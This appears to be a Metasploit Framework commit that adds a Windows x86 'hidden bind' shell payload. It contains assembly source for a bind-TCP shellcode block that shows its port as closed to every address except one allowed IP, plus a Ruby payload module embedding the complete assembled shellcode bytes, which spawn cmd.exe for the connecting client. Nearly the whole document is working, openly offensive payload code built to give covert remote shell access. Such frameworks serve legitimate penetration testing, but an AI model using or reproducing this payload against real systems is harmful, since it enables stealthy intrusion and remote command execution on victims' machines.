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Land rapid7#3017, Windows x86 Shell Hidden Bind
A bind shellcode that responds as 'closed' unless the client matches the AHOST ip.
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‎external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm

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;-----------------------------------------------------------------------------;
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; Original Shellcode: Stephen Fewer ([email protected])
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; Modified version to add Hidden ACL support: Borja Merino ([email protected])
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (February 2014)
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;-----------------------------------------------------------------------------;
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[BITS 32]
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; Input: EBP must be the address of 'api_call'.
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; Output: EDI will be the newly connected clients socket
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; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
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bind_tcp:
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push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
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push 0x5F327377 ; ...
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push esp ; Push a pointer to the "ws2_32" string on the stack.
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push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
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call ebp ; LoadLibraryA( "ws2_32" )
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mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
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sub esp, eax ; alloc some space for the WSAData structure
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push esp ; push a pointer to this stuct
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push eax ; push the wVersionRequested parameter
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push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
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call ebp ; WSAStartup( 0x0190, &WSAData );
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push eax ; if we succeed, eax wil be zero, push zero for the flags param.
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push eax ; push null for reserved parameter
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push eax ; we do not specify a WSAPROTOCOL_INFO structure
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push eax ; we do not specify a protocol
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inc eax ;
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push eax ; push SOCK_STREAM
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inc eax ;
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push eax ; push AF_INET
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push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
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call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
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xchg edi, eax ; save the socket for later, don't care about the value of eax after this
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xor ebx, ebx ; Clear EBX
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push ebx ; bind to 0.0.0.0
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push 0x5C110002 ; family AF_INET and port 4444
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mov esi, esp ; save a pointer to sockaddr_in struct
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push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
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push esi ; pointer to the sockaddr_in struct
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push edi ; socket
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push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
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call ebp ; bind( s, &sockaddr_in, 16 );
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; Hidden ACL Support ----------
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push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
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push esp ; optval: pointer to the buffer in which the value for the requested option is specified
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push 0x3002 ; level at which the option is defined: SOL_SOCKET
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push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
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push edi ; socket descriptor
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push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
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call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
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push ebx ; backlog
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push edi ; socket
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push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
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call ebp ; listen( s, 0 );
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condition:
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push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
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call wsaaccept ; push the start of the condition function on the stack
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mov eax, DWORD [esp+4] ;
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mov eax, DWORD [eax+4] ;
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mov eax, DWORD [eax+4] ; get the client IP returned in the stack
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sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
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jz return ; if equal returns CF_ACCEPT
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xor eax, eax ; If not equal, the condition function returns CF_REJECT
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inc eax
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return:
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retn 0x20 ; some stack alignment needed to return to mswsock
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wsaaccept:
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push ebx ; length of the sockaddr = nul
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push ebx ; struct sockaddr = nul
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push edi ; socket descriptor
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push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
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call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
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inc eax
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jz condition ; if error (eax = -1) jump to condition function to wait for another connection
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dec eax
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push edi ; push the listening socket to close
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xchg edi, eax ; replace the listening socket with the new connected socket for further comms
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push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
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call ebp ; closesocket( s );
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‎external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm

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;-----------------------------------------------------------------------------;
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; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (28 July 2009)
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; Size: 341 bytes
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; Build: >build.py single_shell_bind_tcp
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;-----------------------------------------------------------------------------;
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[BITS 32]
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[ORG 0]
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cld ; Clear the direction flag.
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call start ; Call start, this pushes the address of 'api_call' onto the stack.
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%include "./src/block/block_api.asm"
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start: ;
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pop ebp ; Pop off the address of 'api_call' for calling later.
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%include "./src/block/block_hidden_bind_tcp.asm"
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; By here we will have performed the bind_tcp connection and EDI will be out socket.
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%include "./src/block/block_shell.asm"
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; Finish up with the EXITFUNK.
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%include "./src/block/block_exitfunk.asm"

‎modules/payloads/singles/windows/shell_hidden_bind_tcp.rb

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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Windows
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Windows Command Shell, Hidden Bind TCP Inline',
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'Description' => 'Listen for a connection from certain IP and spawn a command shell.
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The shellcode will reply with a RST packet if the connections is not
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comming from the IP defined in AHOST. This way the port will appear
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as "closed" helping us to hide the shellcode.',
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'Author' =>
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[
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'vlad902', # original payload module (single_shell_bind_tcp)
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'sd', # original payload module (single_shell_bind_tcp)
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'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
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],
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'License' => MSF_LICENSE,
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'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LPORT' => [ 200, 'n' ],
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'AHOST' => [ 262, 'ADDR' ],
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'EXITFUNC' => [ 363, 'V' ],
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},
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'Payload' =>
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"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" +
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"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" +
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"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" +
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"\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01" +
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"\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" +
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"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" +
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"\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
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"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" +
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"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" +
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"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07" +
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"\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" +
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"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff" +
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"\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57" +
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"\x68\xc2\xdb\x37\x67\xff\xd5\x6a\x01\x54\x68\x02\x30\x00\x00\x68" +
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"\xff\xff\x00\x00\x57\x68\xf1\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7" +
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"\xe9\x38\xff\xff\xd5\x53\xe8\x17\x00\x00\x00\x8b\x44\x24\x04\x8b" +
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"\x40\x04\x8b\x40\x04\x2d\xc0\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2" +
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"\x20\x00\x53\x53\x57\x68\x94\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48" +
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"\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
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"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" +
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"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56" +
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"\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" +
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"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68" +
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"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
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"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
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}
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))
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register_options([
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OptAddress.new('AHOST', [true, "IP address allowed", nil])
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])
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end
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end
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